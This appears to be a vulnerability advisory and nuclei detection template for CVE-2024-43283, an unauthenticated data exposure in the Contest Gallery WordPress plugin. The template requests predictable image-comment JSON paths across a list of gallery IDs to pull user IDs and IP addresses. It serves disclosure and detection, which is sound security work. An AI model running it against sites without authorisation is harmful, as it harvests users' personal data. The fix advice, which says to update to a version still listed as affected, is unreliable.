Contest Gallery - Broken Access Control

mediumseverity

5.3CVSS score

1.1%likelihood of exploitation, next 30 days

66%of all CVEs are less likely

Readycheck to confirm it

Contest Gallery from n/a through 23.1.2 contains an exposure of sensitive information to an unauthorized actor caused by insufficient access controls, letting attackers access sensitive data, exploit requires no specific conditions.

Impact

Unauthorized actors can access sensitive information, leading to privacy breaches and potential misuse of data.

Fix

Update to the latest version 23.1.2 or later to address the issue.

How to confirm it

Send: GET /wp-content/uploads/contest-gallery/gallery-id-{{path}}/json/image-comments/image-comments-{{path}}.json
Positive when: contains "WpUserId\":" and "userIP\":" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2024-43283 -u <target>

The full check

id: CVE-2024-43283

info:
  name: Contest Gallery - Broken Access Control
  author: popcorn94
  severity: medium
  description: |
    Contest Gallery from n/a through 23.1.2 contains an exposure of sensitive information to an unauthorized actor caused by insufficient access controls, letting attackers access sensitive data, exploit requires no specific conditions.
  impact: |
    Unauthorized actors can access sensitive information, leading to privacy breaches and potential misuse of data.
  remediation: |
    Update to the latest version 23.1.2 or later to address the issue.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/contest-gallery/contest-gallery-2312-unauthenticated-information-exposure
    - https://nvd.nist.gov/vuln/detail/CVE-2024-43283
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-43283
    epss-score: 0.01095
    epss-percentile: 0.65824
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2024,wordpress,wp,wp-plugin,contest-gallery,disclosure,vkev,vuln

http:
  - raw:
      - |
        GET /wp-content/uploads/contest-gallery/gallery-id-{{path}}/json/image-comments/image-comments-{{path}}.json HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path: helpers/wordlists/numbers.txt
    attack: batteringram

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'WpUserId":'
          - 'userIP":'
        condition: and
        case-insensitive: true

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from